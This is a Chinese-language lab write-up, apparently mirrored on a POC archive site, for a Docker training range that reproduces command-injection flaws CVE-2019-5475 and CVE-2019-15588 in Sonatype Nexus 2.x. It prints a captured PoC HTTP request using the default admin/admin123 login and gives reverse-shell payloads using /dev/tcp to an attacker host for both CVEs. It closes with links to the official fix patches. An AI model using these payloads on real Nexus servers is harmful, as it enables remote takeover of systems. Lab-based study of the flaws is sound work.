Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2019-5475 PoC — Sonatype Nexus Repository Manager 操作系统命令注入漏洞

Source
Associated Vulnerability
Title: Sonatype Nexus Repository Manager 操作系统命令注入漏洞 (CVE-2019-5475)
Description:The Nexus Yum Repository Plugin in v2 is vulnerable to Remote Code Execution when instances using CommandLineExecutor.java are supplied vulnerable data, such as the Yum Configuration Capability.
Description
CVE-2019-5475 靶场: RCE 命令注入漏洞
Readme
# CVE-2019-5475

> CVE-2019-5475 与 CVE-2019-15588 靶场: RCE 命令注入漏洞

------

## 0x00 背景

CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 [hackerone](https://hackerone.com/reports/654888),但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。

这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。


## 0x10 靶场环境

![](https://img.shields.io/badge/Docker-latest-brightgreen.svg) ![](https://img.shields.io/badge/Nexus-2.14.9-brightgreen.svg) ![](https://img.shields.io/badge/Nexus-2.14.14-brightgreen.svg)



## 0x20 目录结构

```
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│   └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
```

## 0x40 靶场搭建

- 宿主机预装 docker 和 docker-compose
- 下载本仓库: [git clone https://github.com/lyy289065406/CVE-2019-5475](https://github.com/lyy289065406/CVE-2019-5475)
- 打开 Nexus 构建目录: `cd CVE-2019-5475`
- 构建并运行 Nexus: `docker-compose up -d`
- 约 5 分钟后可从浏览器访问 Nexus (BasicAuth 为 `admin/admin123`),其中:


| Nexus | CVE | URL |
|:----:|:----:|:----|
| 2.14.9 | CVE-2019-5475 | [http://127.0.0.1:8009/nexus](http://127.0.0.1:8009/nexus) |
| 2.14.14 | CVE-2019-15588 | [http://127.0.0.1:8014/nexus](http://127.0.0.1:8014/nexus) |


> 此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell


## 0x50 【CVE-2019-5475】靶场验证

### 0x51 PoC

使用 admin 登录 [http://127.0.0.1:8009/nexus/#capabilities](http://127.0.0.1:8009/nexus/#capabilities),在 `Administration -> Capabilities -> Yum: Configuration -> Settings` 可以找到 RCE 注入点。

输入框 `Path of "createrepo"` 和 `Path of "mergerepo"` 均可被注入,执行结果可以从 `Status` 查看。

例如在 `createrepo` 注入点构造 PoC `bash -c id || python`,即可从 `Status` 得到命令 `bash -c id` 的执行结果 `uid=200(nexus) gid=200(nexus) groups=200(nexus)` 。

通过 BurpSuite 可截获到对应 PoC 请求为:

```
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}
```

![](imgs/01.png)

![](imgs/02.png)


### 0x52 EXP

这个注入点可以很轻易被利用于构造反弹 shell :

- 登录攻击机: `docker exec -it -u root docker_attacker /bin/bash`
- 利用 netcat 监听反弹: `nc -lvvp 4444`
- 在上述 `createrepo` 注入点构造 payload: `bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python`

![](imgs/03.png)


## 0x60 【CVE-2019-15588】靶场验证

### 0x61 PoC

注入位置与 CVE-2019-5475 相同,调整 PoC 为: `/bin/bash -c id || /createrepo`

![](imgs/04.png)

![](imgs/05.png)


### 0x62 EXP

此漏洞可以使用相同的方法反弹 shell :

- 登录攻击机: `docker exec -it -u root docker_attacker /bin/bash`
- 利用 netcat 监听反弹: `nc -lvvp 4444`
- 在 `createrepo` 注入点构造 payload: `/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo`

![](imgs/06.png)


## 0x70 漏洞修复

- 针对 CVE-2019-5475: [官方第一次修复补丁](https://github.com/sonatype/nexus-public/commit/e8769e53f6bb601126ef5d21f9ea009873b65e25#diff-4ab0523de106ac7a38808f0231fc8a23R81)
- 针对 CVE-2019-15588: [官方第二次修复补丁](https://github.com/sonatype/nexus-public/commit/3dd1d59393149833150b702ddf6485b5ef3312bd#diff-4ab0523de106ac7a38808f0231fc8a23R111)


## 0x80 关于 nexus-yum-core

[nexus-yum-core](nexus-yum-core/) 是 nexus 中关于这次漏洞利用的核心代码片段,主要用于从后端直接 debug 调试分析输入的 payload ,无需从源码搭建完整的 Nexus 服务。

![](imgs/07.png)


## 0x90 参考资料

- https://paper.seebug.org/1260/
- https://blog.spoock.com/2018/11/25/getshell-bypass-exec/

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →